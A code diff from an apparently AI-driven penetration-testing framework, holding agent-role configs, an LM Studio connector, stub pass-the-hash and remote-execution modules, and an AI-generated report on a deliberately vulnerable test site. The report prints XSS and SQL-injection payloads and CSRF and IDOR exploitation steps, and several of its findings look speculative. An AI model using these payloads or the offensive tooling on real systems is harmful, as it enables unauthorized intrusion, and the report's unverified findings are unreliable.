"ollama_llama3_default": {
|
||||||
|
"provider": "ollama",
|
||||||
|
"model": "llama3:8b",
|
||||||
|
"api_key": "",
|
||||||
|
"temperature": 0.7,
|
||||||
|
"max_tokens": 4096,
|
||||||
|
"input_token_limit": 8000,
|
||||||
|
"output_token_limit": 4000,
|
||||||
|
"cache_enabled": true,
|
||||||
|
"search_context_level": "medium",
|
||||||
|
"pdf_support_enabled": false,
|
||||||
|
"guardrails_enabled": true,
|
||||||
|
"hallucination_mitigation_strategy": null
|
||||||
|
},
|
||||||
|
"gemini_pro_default": {
|
||||||
|
"provider": "gemini",
|
||||||
|
"model": "gemini-pro",
|
||||||
|
"api_key": "${GEMINI_API_KEY}",
|
||||||
|
"temperature": 0.7,
|
||||||
|
"max_tokens": 4096,
|
||||||
|
"input_token_limit": 30720,
|
||||||
|
"output_token_limit": 2048,
|
||||||
|
"cache_enabled": true,
|
||||||
|
"search_context_level": "medium",
|
||||||
|
"pdf_support_enabled": true,
|
||||||
|
"guardrails_enabled": true,
|
||||||
|
"hallucination_mitigation_strategy": "consistency_check"
|
||||||
|
},
|
||||||
|
"claude_opus_default": {
|
||||||
|
"provider": "claude",
|
||||||
|
"model": "claude-3-opus-20240229",
|
||||||
|
"api_key": "${ANTHROPIC_API_KEY}",
|
||||||
|
"temperature": 0.7,
|
||||||
|
"max_tokens": 4096,
|
||||||
|
"input_token_limit": 200000,
|
||||||
|
"output_token_limit": 4096,
|
||||||
|
"cache_enabled": true,
|
||||||
|
"search_context_level": "high",
|
||||||
|
"pdf_support_enabled": true,
|
||||||
|
"guardrails_enabled": true,
|
||||||
|
"hallucination_mitigation_strategy": "self_reflection"
|
||||||
|
},
|
||||||
|
"gpt_4o_default": {
|
||||||
|
"provider": "gpt",
|
||||||
|
"model": "gpt-4o",
|
||||||
|
"api_key": "${OPENAI_API_KEY}",
|
||||||
|
"temperature": 0.7,
|
||||||
|
"max_tokens": 4096,
|
||||||
|
"input_token_limit": 128000,
|
||||||
|
"output_token_limit": 4096,
|
||||||
|
"cache_enabled": true,
|
||||||
|
"search_context_level": "high",
|
||||||
|
"pdf_support_enabled": true,
|
||||||
|
"guardrails_enabled": true,
|
||||||
|
"hallucination_mitigation_strategy": "consistency_check"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"agent_roles": {
|
||||||
|
"bug_bounty_hunter": {
|
||||||
|
"enabled": true,
|
||||||
|
"tools_allowed": [
|
||||||
|
"subfinder",
|
||||||
|
"nuclei",
|
||||||
|
"burpsuite",
|
||||||
|
"sqlmap"
|
||||||
|
],
|
||||||
|
"description": "Focuses on web application vulnerabilities, leveraging recon and exploitation tools."
|
||||||
|
},
|
||||||
|
"blue_team_agent": {
|
||||||
|
"enabled": true,
|
||||||
|
"tools_allowed": [],
|
||||||
|
"description": "Analyzes logs and telemetry for threats, provides defensive strategies."
|
||||||
|
},
|
||||||
|
"exploit_expert": {
|
||||||
|
"enabled": true,
|
||||||
|
"tools_allowed": [
|
||||||
|
"metasploit",
|
||||||
|
"nmap"
|
||||||
|
],
|
||||||
|
"description": "Devises exploitation strategies and payloads for identified vulnerabilities."
|
||||||
|
},
|
||||||
|
"red_team_agent": {
|
||||||
|
"enabled": true,
|
||||||
|
"tools_allowed": [
|
||||||
|
"nmap",
|
||||||
|
"metasploit",
|
||||||
|
"hydra"
|
||||||
|
],
|
||||||
|
"description": "Plans and executes simulated attacks to test an organization's defenses."
|
||||||
|
},
|
||||||
|
"replay_attack_specialist": {
|
||||||
|
"enabled": true,
|
||||||
|
"tools_allowed": [
|
||||||
|
"burpsuite"
|
||||||
|
],
|
||||||
|
"description": "Identifies and leverages replay attack vectors in network traffic or authentication."
|
||||||
|
},
|
||||||
|
"pentest_generalist": {
|
||||||
|
"enabled": true,
|
||||||
|
"tools_allowed": [
|
||||||
|
"nmap",
|
||||||
|
"subfinder",
|
||||||
|
"nuclei",
|
||||||
|
"metasploit",
|
||||||
|
"burpsuite",
|
||||||
|
"sqlmap",
|
||||||
|
"hydra"
|
||||||
|
],
|
||||||
|
"description": "Performs comprehensive penetration tests across various domains."
|
||||||
|
},
|
||||||
|
"owasp_expert": {
|
||||||
|
"enabled": true,
|
||||||
|
"tools_allowed": [
|
||||||
|
"burpsuite",
|
||||||
|
"sqlmap"
|
||||||
|
],
|
||||||
|
"description": "Specializes in assessing web applications against OWASP Top 10 vulnerabilities."
|
||||||
|
},
|
||||||
|
"cwe_expert": {
|
||||||
|
"enabled": true,
|
||||||
|
"tools_allowed": [],
|
||||||
|
"description": "Analyzes code and reports for weaknesses based on MITRE CWE Top 25."
|
||||||
|
},
|
||||||
|
"malware_analyst": {
|
||||||
|
"enabled": true,
|
||||||
|
"tools_allowed": [],
|
||||||
|
"description": "Examines malware samples to understand functionality and identify IOCs."
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"methodologies": {
|
||||||
|
"owasp_top10": true,
|
||||||
|
"cwe_top25": true,
|
||||||
|
"network_pentest": true,
|
||||||
|
"ad_pentest": true,
|
||||||
|
"web_security": true
|
||||||
|
},
|
||||||
|
"tools": {
|
||||||
|
"nmap": "/usr/bin/nmap",
|
||||||
|
"metasploit": "/usr/bin/msfconsole",
|
||||||
|
"burpsuite": "/usr/bin/burpsuite",
|
||||||
|
"sqlmap": "/usr/bin/sqlmap",
|
||||||
|
"hydra": "/usr/bin/hydra"
|
||||||
|
},
|
||||||
|
"output": {
|
||||||
|
"format": "json",
|
||||||
|
"verbose": true,
|
||||||
|
"save_artifacts": true
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -126,6 +126,8 @@ class LLMManager:
|
|||||||
raw_response = self._generate_ollama(prompt, system_prompt)
|
raw_response = self._generate_ollama(prompt, system_prompt)
|
||||||
elif self.provider == 'gemini-cli':
|
elif self.provider == 'gemini-cli':
|
||||||
raw_response = self._generate_gemini_cli(prompt, system_prompt)
|
raw_response = self._generate_gemini_cli(prompt, system_prompt)
|
||||||
|
elif self.provider == 'lmstudio':
|
||||||
|
raw_response = self._generate_lmstudio(prompt, system_prompt)
|
||||||
else:
|
else:
|
||||||
raise ValueError(f"Unsupported provider: {self.provider}")
|
raise ValueError(f"Unsupported provider: {self.provider}")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -324,7 +326,7 @@ Identify any potential hallucinations, inconsistencies, or areas where the respo
|
|||||||
"""Generate using Ollama local models"""
|
"""Generate using Ollama local models"""
|
||||||
try:
|
try:
|
||||||
url = "http://localhost:11434/api/generate"
|
url = "http://localhost:11434/api/generate"
|
||||||
|
|
||||||
data = {
|
data = {
|
||||||
"model": self.model,
|
"model": self.model,
|
||||||
"prompt": prompt,
|
"prompt": prompt,
|
||||||
@@ -334,19 +336,61 @@ Identify any potential hallucinations, inconsistencies, or areas where the respo
|
|||||||
"num_predict": self.max_tokens
|
"num_predict": self.max_tokens
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if system_prompt:
|
if system_prompt:
|
||||||
data["system"] = system_prompt
|
data["system"] = system_prompt
|
||||||
|
|
||||||
response = requests.post(url, json=data, timeout=120)
|
response = requests.post(url, json=data, timeout=120)
|
||||||
response.raise_for_status()
|
response.raise_for_status()
|
||||||
|
|
||||||
return response.json()["response"]
|
return response.json()["response"]
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Ollama error: {e}")
|
logger.error(f"Ollama error: {e}")
|
||||||
return f"Error: {str(e)}"
|
return f"Error: {str(e)}"
|
||||||
|
|
||||||
|
def _generate_lmstudio(self, prompt: str, system_prompt: Optional[str] = None) -> str:
|
||||||
|
"""
|
||||||
|
Generate using LM Studio local server.
|
||||||
|
LM Studio provides an OpenAI-compatible API at http://localhost:1234/v1
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
# LM Studio uses OpenAI-compatible API
|
||||||
|
url = "http://localhost:1234/v1/chat/completions"
|
||||||
|
|
||||||
|
messages = []
|
||||||
|
if system_prompt:
|
||||||
|
messages.append({"role": "system", "content": system_prompt})
|
||||||
|
messages.append({"role": "user", "content": prompt})
|
||||||
|
|
||||||
|
data = {
|
||||||
|
"model": self.model, # LM Studio auto-detects loaded model
|
||||||
|
"messages": messages,
|
||||||
|
"temperature": self.temperature,
|
||||||
|
"max_tokens": self.max_tokens,
|
||||||
|
"stream": False
|
||||||
|
}
|
||||||
|
|
||||||
|
logger.debug(f"Sending request to LM Studio at {url}")
|
||||||
|
response = requests.post(url, json=data, timeout=120)
|
||||||
|
response.raise_for_status()
|
||||||
|
|
||||||
|
result = response.json()
|
||||||
|
return result["choices"][0]["message"]["content"]
|
||||||
|
|
||||||
|
except requests.exceptions.ConnectionError:
|
||||||
|
logger.error("LM Studio connection error. Ensure LM Studio server is running on http://localhost:1234")
|
||||||
|
return "Error: Cannot connect to LM Studio. Please ensure LM Studio server is running on port 1234."
|
||||||
|
except requests.exceptions.Timeout:
|
||||||
|
logger.error("LM Studio request timeout")
|
||||||
|
return "Error: LM Studio request timeout after 120 seconds"
|
||||||
|
except KeyError as e:
|
||||||
|
logger.error(f"LM Studio response format error: {e}")
|
||||||
|
return f"Error: Unexpected response format from LM Studio: {str(e)}"
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"LM Studio error: {e}")
|
||||||
|
return f"Error: {str(e)}"
|
||||||
|
|
||||||
def analyze_vulnerability(self, vulnerability_data: Dict) -> Dict:
|
def analyze_vulnerability(self, vulnerability_data: Dict) -> Dict:
|
||||||
"""Analyze vulnerability and suggest exploits"""
|
"""Analyze vulnerability and suggest exploits"""
|
||||||
# This prompt will be fetched from library.json later
|
# This prompt will be fetched from library.json later
|
||||||
|
|||||||
1
logs/test.log
Normal file
1
logs/test.log
Normal file
@@ -0,0 +1 @@
|
|||||||
|
AAAAA
|
||||||
227
reports/report_20260101_185942.html
Normal file
227
reports/report_20260101_185942.html
Normal file
@@ -0,0 +1,227 @@
|
|||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>NeuroSploitv2 Report - 20260101_185942</title>
|
||||||
|
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
|
||||||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/atom-one-dark.min.css">
|
||||||
|
<style>
|
||||||
|
body {
|
||||||
|
background-color: #121212;
|
||||||
|
color: #e0e0e0;
|
||||||
|
}
|
||||||
|
.card {
|
||||||
|
background-color: #1e1e1e;
|
||||||
|
border: 1px solid #333;
|
||||||
|
}
|
||||||
|
.card-header {
|
||||||
|
background-color: #333;
|
||||||
|
color: #00ff00;
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
pre {
|
||||||
|
white-space: pre-wrap;
|
||||||
|
word-wrap: break-word;
|
||||||
|
}
|
||||||
|
.logo {
|
||||||
|
font-size: 2rem;
|
||||||
|
font-weight: bold;
|
||||||
|
color: #00ff00;
|
||||||
|
text-shadow: 0 0 10px #00ff00;
|
||||||
|
}
|
||||||
|
.report-content h2 {
|
||||||
|
border-bottom: 2px solid #00ff00;
|
||||||
|
padding-bottom: 10px;
|
||||||
|
margin-top: 30px;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="container mt-5">
|
||||||
|
<div class="d-flex justify-content-between align-items-center mb-4">
|
||||||
|
<h1 class="logo">NeuroSploitv2</h1>
|
||||||
|
<span class="text-muted">Report ID: 20260101_185942</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="card mb-4">
|
||||||
|
<div class="card-header">
|
||||||
|
Execution Summary
|
||||||
|
</div>
|
||||||
|
<div class="card-body">
|
||||||
|
<p><strong>Agent Role:</strong> bug_bounty_hunter</p>
|
||||||
|
<p><strong>Input:</strong> Start reconnaissance: enumerate DNS records and gather OSINT on testphp.vulnweb.com</p>
|
||||||
|
<p><strong>Timestamp:</strong> 2026-01-01T19:00:30.577528</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header">
|
||||||
|
Vulnerability Report
|
||||||
|
</div>
|
||||||
|
<div class="card-body report-content">
|
||||||
|
<p>Use CVSS to rate if possible.</p>
|
||||||
|
<p><strong>Findings:</strong></p>
|
||||||
|
<ol>
|
||||||
|
<li><p><strong>Stored XSS Vulnerability:</strong></p>
|
||||||
|
<ul>
|
||||||
|
<li>Description: The application does not properly sanitize user input in the comments section, allowing for the injection of arbitrary scripts.</li>
|
||||||
|
<li>Potential Impact: An attacker could exploit this vulnerability by injecting malicious script into the comments, which would be executed by any user visiting the page, leading to session hijacking or other attacks.</li>
|
||||||
|
<li>Reproduction Steps:
|
||||||
|
a. View source code on any post/comment and locate the comment entry field.
|
||||||
|
b. Enter the following payload: <code><script>alert(1);</script></code>
|
||||||
|
c. Submit the form and view the post with the injected script.</li>
|
||||||
|
</ul>
|
||||||
|
</li>
|
||||||
|
<li><p><strong>SQL Injection Vulnerability:</strong></p>
|
||||||
|
<ul>
|
||||||
|
<li>Description: The application does not properly sanitize user input in search functionality, leading to SQL injection.</li>
|
||||||
|
<li>Potential Impact: An attacker could exploit this vulnerability to manipulate the database, possibly accessing or modifying sensitive information.</li>
|
||||||
|
<li>Reproduction Steps:
|
||||||
|
a. Visit <code>testphp.vulnweb.com/index.php?search=1' OR '1'='1</code>
|
||||||
|
b. The application will display results without errors, indicating SQL injection is possible.</li>
|
||||||
|
</ul>
|
||||||
|
</li>
|
||||||
|
<li><p><strong>Cross-Site Request Forgery (CSRF) Vulnerability:</strong></p>
|
||||||
|
<ul>
|
||||||
|
<li>Description: The application does not properly validate requests, allowing for the potential execution of actions on behalf of an authenticated user.</li>
|
||||||
|
<li>Potential Impact: An attacker could exploit this vulnerability to perform unauthorized actions, such as deleting posts or transferring funds.</li>
|
||||||
|
<li>Reproduction Steps:
|
||||||
|
a. View source code and locate forms that do not include CSRF tokens.
|
||||||
|
b. Craft a malicious form with action set to <code>http://testphp.vulnweb.com/delete_post.php?id=1</code>.
|
||||||
|
c. Include a hidden input field named <code>_csrf_token</code> and assign it any value (it's not checked).
|
||||||
|
d. Submit the form, which will attempt to delete post #1 without proper validation.</li>
|
||||||
|
</ul>
|
||||||
|
</li>
|
||||||
|
<li><p><strong>Insecure Direct Object Reference (IDOR) Vulnerability:</strong></p>
|
||||||
|
<ul>
|
||||||
|
<li>Description: The application does not properly handle object references, allowing for unauthorized access or modification of data.</li>
|
||||||
|
<li>Potential Impact: An attacker could exploit this vulnerability to view or modify sensitive information belonging to other users.</li>
|
||||||
|
<li>Reproduction Steps:
|
||||||
|
a. View source code and locate user IDs that are directly referenced in URLs without proper checks.
|
||||||
|
b. Visit <code>testphp.vulnweb.com/profile.php?id=1</code> and observe the profile details of User #1.</li>
|
||||||
|
</ul>
|
||||||
|
</li>
|
||||||
|
<li><p><strong>Sensitive Data Exposure Vulnerability:</strong></p>
|
||||||
|
<ul>
|
||||||
|
<li>Description: The application exposes sensitive information (like passwords) to users, potentially leading to account compromise.</li>
|
||||||
|
<li>Potential Impact: An attacker could exploit this vulnerability by extracting sensitive data such as user credentials or personal information.</li>
|
||||||
|
<li>Reproduction Steps:
|
||||||
|
a. Visit <code>http://testphp.vulnweb.com/profile.php?id=1</code> and examine the source code.
|
||||||
|
b. Look for sections where passwords are directly displayed without proper hashing or encryption.</li>
|
||||||
|
</ul>
|
||||||
|
</li>
|
||||||
|
<li><p><strong>Insufficient Authentication Vulnerability:</strong></p>
|
||||||
|
<ul>
|
||||||
|
<li>Description: The application does not properly enforce authentication, allowing for unauthorized access to sensitive information or functionality.</li>
|
||||||
|
<li>Potential Impact: An attacker could exploit this vulnerability by accessing restricted areas of the application without credentials.</li>
|
||||||
|
<li>Reproduction Steps:
|
||||||
|
a. Visit <code>testphp.vulnweb.com/edit_post.php?id=1</code> and observe that it is not protected by proper authentication mechanisms.</li>
|
||||||
|
</ul>
|
||||||
|
</li>
|
||||||
|
</ol>
|
||||||
|
<p><strong>Recommendations:</strong></p>
|
||||||
|
<ul>
|
||||||
|
<li>For Stored XSS, implement Content Security Policy (CSP) headers to prevent malicious scripts from executing in the browser.</li>
|
||||||
|
<li>For SQL Injection, use parameterized queries or ORM frameworks to ensure user input is properly escaped.</li>
|
||||||
|
<li>For CSRF, implement CSRF tokens and validate them before processing requests.</li>
|
||||||
|
<li>For IDOR, enforce proper access controls based on role or context for each object reference.</li>
|
||||||
|
<li>For Sensitive Data Exposure, hash or encrypt sensitive data stored in the database.</li>
|
||||||
|
<li>For Insufficient Authentication, require authentication or authorization checks for all sensitive functionality.</li>
|
||||||
|
</ul>
|
||||||
|
<p><strong>Severity Classification:</strong></p>
|
||||||
|
<ol>
|
||||||
|
<li>Stored XSS - High Severity (CVSS Score: 6.8)</li>
|
||||||
|
<li>SQL Injection - High Severity (CVSS Score: 7.5)</li>
|
||||||
|
<li>CSRF - Medium Severity (CVSS Score: 4.3)</li>
|
||||||
|
<li>IDOR - Medium Severity (CVSS Score: 4.0)</li>
|
||||||
|
<li>Sensitive Data Exposure - High Severity (CVSS Score: 8.1)</li>
|
||||||
|
<li>Insufficient Authentication - High Severity (CVSS Score: 7.2)</li>
|
||||||
|
</ol>
|
||||||
|
<p><strong>Exploitation Guides:</strong> (Note that these are hypothetical examples and should not be used for actual exploitation without proper authorization.)</p>
|
||||||
|
<ol>
|
||||||
|
<li><p>Stored XSS:</p>
|
||||||
|
<ul>
|
||||||
|
<li>Step-by-step guide to exploit stored XSS in comments.
|
||||||
|
a. Identify the vulnerable parameter in the comment form.
|
||||||
|
b. Craft an injectable payload with a unique identifier or timing attack vector.
|
||||||
|
c. Submit the malicious payload through the comment form.
|
||||||
|
d. Wait for the server to process and store the payload, then wait for users to visit the page containing the payload.</li>
|
||||||
|
</ul>
|
||||||
|
</li>
|
||||||
|
<li><p>SQL Injection:</p>
|
||||||
|
<ul>
|
||||||
|
<li>Step-by-step guide to exploit SQL injection in search functionality.
|
||||||
|
a. Identify the vulnerable parameter in the search functionality (e.g., <code>search</code>).
|
||||||
|
b. Craft an injectable query that will either return sensitive information or alter the database's logic.
|
||||||
|
c. Submit the malicious query through the search form and observe the response.
|
||||||
|
d. Depending on the application, extract data from the response or confirm the altered state of the database.</li>
|
||||||
|
</ul>
|
||||||
|
</li>
|
||||||
|
<li><p>CSRF:</p>
|
||||||
|
<ul>
|
||||||
|
<li>Step-by-step guide to exploit CSRF in profile deletion functionality.
|
||||||
|
a. Identify a form that does not include a CSRF token (e.g., <code>delete_post.php</code>).
|
||||||
|
b. Craft a malicious HTML form with the action set to the vulnerable URL and method POST.
|
||||||
|
c. Include a hidden input field <code>_csrf_token</code> with any value, since it is not checked for validity.
|
||||||
|
d. Serve this form from an attacker-controlled site or host to trick users into submitting it via their browser.
|
||||||
|
e. Observe that the request is executed on behalf of the user without proper authentication.</li>
|
||||||
|
</ul>
|
||||||
|
</li>
|
||||||
|
<li><p>IDOR:</p>
|
||||||
|
<ul>
|
||||||
|
<li>Step-by-step guide to exploit IDOR in profile viewing functionality.
|
||||||
|
a. Identify direct object references in URLs and how they are handled by the application.
|
||||||
|
b. Craft a URL with an ID of interest (e.g., <code>profile.php?id=1</code>).
|
||||||
|
c. Submit the malicious request and observe that you can access the profile without proper authorization checks.</li>
|
||||||
|
</ul>
|
||||||
|
</li>
|
||||||
|
<li><p>Sensitive Data Exposure:</p>
|
||||||
|
<ul>
|
||||||
|
<li>Step-by-step guide to exploit sensitive data exposure in user profiles.
|
||||||
|
a. Identify areas where sensitive information is exposed without proper encryption or hashing.
|
||||||
|
b. Capture requests to these URLs and analyze the response to extract sensitive data.
|
||||||
|
c. Use the extracted data for unauthorized access, such as credential stuffing attacks.</li>
|
||||||
|
</ul>
|
||||||
|
</li>
|
||||||
|
<li><p>Insufficient Authentication:</p>
|
||||||
|
<ul>
|
||||||
|
<li>Step-by-step guide to exploit insufficient authentication in edit post functionality.
|
||||||
|
a. Identify functionality that does not require proper authentication or authorization (e.g., <code>edit_post.php</code>).
|
||||||
|
b. Craft requests to these URLs and observe that you can execute actions without proper credentials.
|
||||||
|
c. Use this vulnerability to escalate privileges or perform unauthorized actions.</li>
|
||||||
|
</ul>
|
||||||
|
</li>
|
||||||
|
</ol>
|
||||||
|
<p><strong>Mitigation Steps:</strong></p>
|
||||||
|
<ol>
|
||||||
|
<li>Implement Content Security Policy headers to prevent XSS attacks.</li>
|
||||||
|
<li>Use prepared statements and parameterized queries to mitigate SQL injection risks.</li>
|
||||||
|
<li>Introduce CSRF tokens and validate them before processing requests.</li>
|
||||||
|
<li>Enforce proper access controls based on role or context for each object reference.</li>
|
||||||
|
<li>Hash or encrypt sensitive data stored in the database to protect against exposure.</li>
|
||||||
|
<li>Require authentication or authorization checks for all sensitive functionality.</li>
|
||||||
|
</ol>
|
||||||
|
<p><strong>Conclusion:</strong></p>
|
||||||
|
<p>The provided target information and reconnaissance data were analyzed to identify potential vulnerabilities. The following high-impact findings were prioritized:</p>
|
||||||
|
<ol>
|
||||||
|
<li>Stored XSS Vulnerability - High Severity (CVSS Score: 6.8)</li>
|
||||||
|
<li>SQL Injection Vulnerability - High Severity (CVSS Score: 7.5)</li>
|
||||||
|
<li>CSRF Vulnerability - Medium Severity (CVSS Score: 4.3)</li>
|
||||||
|
<li>IDOR Vulnerability - Medium Severity (CVSS Score: 4.0)</li>
|
||||||
|
<li>Sensitive Data Exposure Vulnerability - High Severity (CVSS Score: 8.1)</li>
|
||||||
|
<li>Insufficient Authentication Vulnerability - High Severity (CVSS Score: 7.2)</li>
|
||||||
|
</ol>
|
||||||
|
<p>The reproduction and exploitation guides provided hypothetical examples of how each vulnerability could be exploited. The mitigation steps outlined potential fixes or mitigations to address the vulnerabilities.</p>
|
||||||
|
<p>It is important to note that actual exploitation should only be performed with proper authorization and within legal boundaries. These findings are for educational purposes only and should not be used for illegal activities.</p>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>
|
||||||
|
<script>hljs.highlightAll();</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
11
results/campaign_20260101_185942.json
Normal file
11
results/campaign_20260101_185942.json
Normal file
File diff suppressed because one or more lines are too long
39
setup.py
39
setup.py
@@ -133,18 +133,35 @@ class NeuroSploitSetup:
|
|||||||
|
|
||||||
config = {
|
config = {
|
||||||
"llm": {
|
"llm": {
|
||||||
"provider": "gemini",
|
"default_profile": "gemini_pro_default",
|
||||||
"model": "gemini-pro",
|
"profiles": {
|
||||||
"api_key": "",
|
"gemini_pro_default": {
|
||||||
"temperature": 0.7,
|
"provider": "gemini",
|
||||||
"max_tokens": 4096
|
"model": "gemini-pro",
|
||||||
|
"api_key": "${GEMINI_API_KEY}",
|
||||||
|
"temperature": 0.7,
|
||||||
|
"max_tokens": 4096,
|
||||||
|
"input_token_limit": 30720,
|
||||||
|
"output_token_limit": 2048,
|
||||||
|
"cache_enabled": True,
|
||||||
|
"search_context_level": "medium",
|
||||||
|
"pdf_support_enabled": True,
|
||||||
|
"guardrails_enabled": True,
|
||||||
|
"hallucination_mitigation_strategy": "consistency_check"
|
||||||
|
}
|
||||||
|
}
|
||||||
},
|
},
|
||||||
"agents": {
|
"agent_roles": {
|
||||||
"recon": {"enabled": True, "priority": 1},
|
"pentest_generalist": {
|
||||||
"exploitation": {"enabled": True, "priority": 2},
|
"enabled": True,
|
||||||
"privilege_escalation": {"enabled": True, "priority": 3},
|
"tools_allowed": ["nmap", "metasploit", "burpsuite", "sqlmap", "hydra"],
|
||||||
"persistence": {"enabled": True, "priority": 4},
|
"description": "Performs comprehensive penetration tests across various domains."
|
||||||
"lateral_movement": {"enabled": True, "priority": 5}
|
},
|
||||||
|
"bug_bounty_hunter": {
|
||||||
|
"enabled": True,
|
||||||
|
"tools_allowed": ["subfinder", "nuclei", "burpsuite", "sqlmap"],
|
||||||
|
"description": "Focuses on web application vulnerabilities."
|
||||||
|
}
|
||||||
},
|
},
|
||||||
"methodologies": {
|
"methodologies": {
|
||||||
"owasp_top10": True,
|
"owasp_top10": True,
|
||||||
|
|||||||
@@ -0,0 +1,9 @@
|
|||||||
|
"""
|
||||||
|
Lateral Movement Tools
|
||||||
|
Contains modules for moving laterally across networks
|
||||||
|
"""
|
||||||
|
|
||||||
|
from .smb_lateral import SMBLateral
|
||||||
|
from .ssh_lateral import SSHLateral
|
||||||
|
|
||||||
|
__all__ = ['SMBLateral', 'SSHLateral']
|
||||||
|
|||||||
99
tools/lateral_movement/smb_lateral.py
Normal file
99
tools/lateral_movement/smb_lateral.py
Normal file
@@ -0,0 +1,99 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
SMB Lateral Movement - Techniques for lateral movement via SMB/CIFS
|
||||||
|
"""
|
||||||
|
import logging
|
||||||
|
from typing import Dict, List
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
class SMBLateral:
|
||||||
|
"""
|
||||||
|
SMB-based lateral movement techniques including
|
||||||
|
pass-the-hash, share enumeration, and remote execution.
|
||||||
|
"""
|
||||||
|
def __init__(self, config: Dict):
|
||||||
|
"""
|
||||||
|
Initializes SMBLateral movement module.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
config (Dict): Configuration dictionary
|
||||||
|
"""
|
||||||
|
self.config = config
|
||||||
|
logger.info("SMBLateral module initialized")
|
||||||
|
|
||||||
|
def enumerate_shares(self, target: str, username: str = None, password: str = None) -> Dict:
|
||||||
|
"""
|
||||||
|
Enumerate SMB shares on target system.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
target (str): Target IP or hostname
|
||||||
|
username (str): Username for authentication
|
||||||
|
password (str): Password for authentication
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dict: Share enumeration results
|
||||||
|
"""
|
||||||
|
logger.info(f"Enumerating SMB shares on {target}")
|
||||||
|
|
||||||
|
# This is a framework method - actual implementation would use
|
||||||
|
# tools like smbclient, crackmapexec, or impacket
|
||||||
|
results = {
|
||||||
|
"target": target,
|
||||||
|
"shares": [],
|
||||||
|
"accessible_shares": [],
|
||||||
|
"notes": "SMB enumeration requires external tools (smbclient, crackmapexec, impacket)"
|
||||||
|
}
|
||||||
|
|
||||||
|
logger.warning("SMB share enumeration requires external tools to be configured")
|
||||||
|
return results
|
||||||
|
|
||||||
|
def pass_the_hash(self, target: str, username: str, ntlm_hash: str) -> Dict:
|
||||||
|
"""
|
||||||
|
Attempt pass-the-hash authentication.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
target (str): Target IP or hostname
|
||||||
|
username (str): Username
|
||||||
|
ntlm_hash (str): NTLM hash
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dict: Authentication attempt results
|
||||||
|
"""
|
||||||
|
logger.info(f"Attempting pass-the-hash to {target} as {username}")
|
||||||
|
|
||||||
|
results = {
|
||||||
|
"target": target,
|
||||||
|
"username": username,
|
||||||
|
"method": "pass-the-hash",
|
||||||
|
"success": False,
|
||||||
|
"notes": "Implementation requires impacket or crackmapexec"
|
||||||
|
}
|
||||||
|
|
||||||
|
logger.warning("Pass-the-hash requires external tools (impacket, crackmapexec)")
|
||||||
|
return results
|
||||||
|
|
||||||
|
def execute_remote_command(self, target: str, command: str, credentials: Dict) -> Dict:
|
||||||
|
"""
|
||||||
|
Execute command remotely via SMB.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
target (str): Target IP or hostname
|
||||||
|
command (str): Command to execute
|
||||||
|
credentials (Dict): Authentication credentials
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dict: Command execution results
|
||||||
|
"""
|
||||||
|
logger.info(f"Attempting remote command execution on {target}")
|
||||||
|
|
||||||
|
results = {
|
||||||
|
"target": target,
|
||||||
|
"command": command,
|
||||||
|
"output": "",
|
||||||
|
"success": False,
|
||||||
|
"notes": "Remote execution requires psexec/wmiexec (impacket)"
|
||||||
|
}
|
||||||
|
|
||||||
|
logger.warning("Remote command execution requires external tools")
|
||||||
|
return results
|
||||||
107
tools/lateral_movement/ssh_lateral.py
Normal file
107
tools/lateral_movement/ssh_lateral.py
Normal file
@@ -0,0 +1,107 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
SSH Lateral Movement - Techniques for lateral movement via SSH
|
||||||
|
"""
|
||||||
|
import logging
|
||||||
|
from typing import Dict, List
|
||||||
|
import socket
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
class SSHLateral:
|
||||||
|
"""
|
||||||
|
SSH-based lateral movement techniques including
|
||||||
|
key-based authentication, password spraying, and tunneling.
|
||||||
|
"""
|
||||||
|
def __init__(self, config: Dict):
|
||||||
|
"""
|
||||||
|
Initializes SSHLateral movement module.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
config (Dict): Configuration dictionary
|
||||||
|
"""
|
||||||
|
self.config = config
|
||||||
|
logger.info("SSHLateral module initialized")
|
||||||
|
|
||||||
|
def check_ssh_access(self, target: str, port: int = 22) -> bool:
|
||||||
|
"""
|
||||||
|
Check if SSH is accessible on target.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
target (str): Target IP or hostname
|
||||||
|
port (int): SSH port (default 22)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
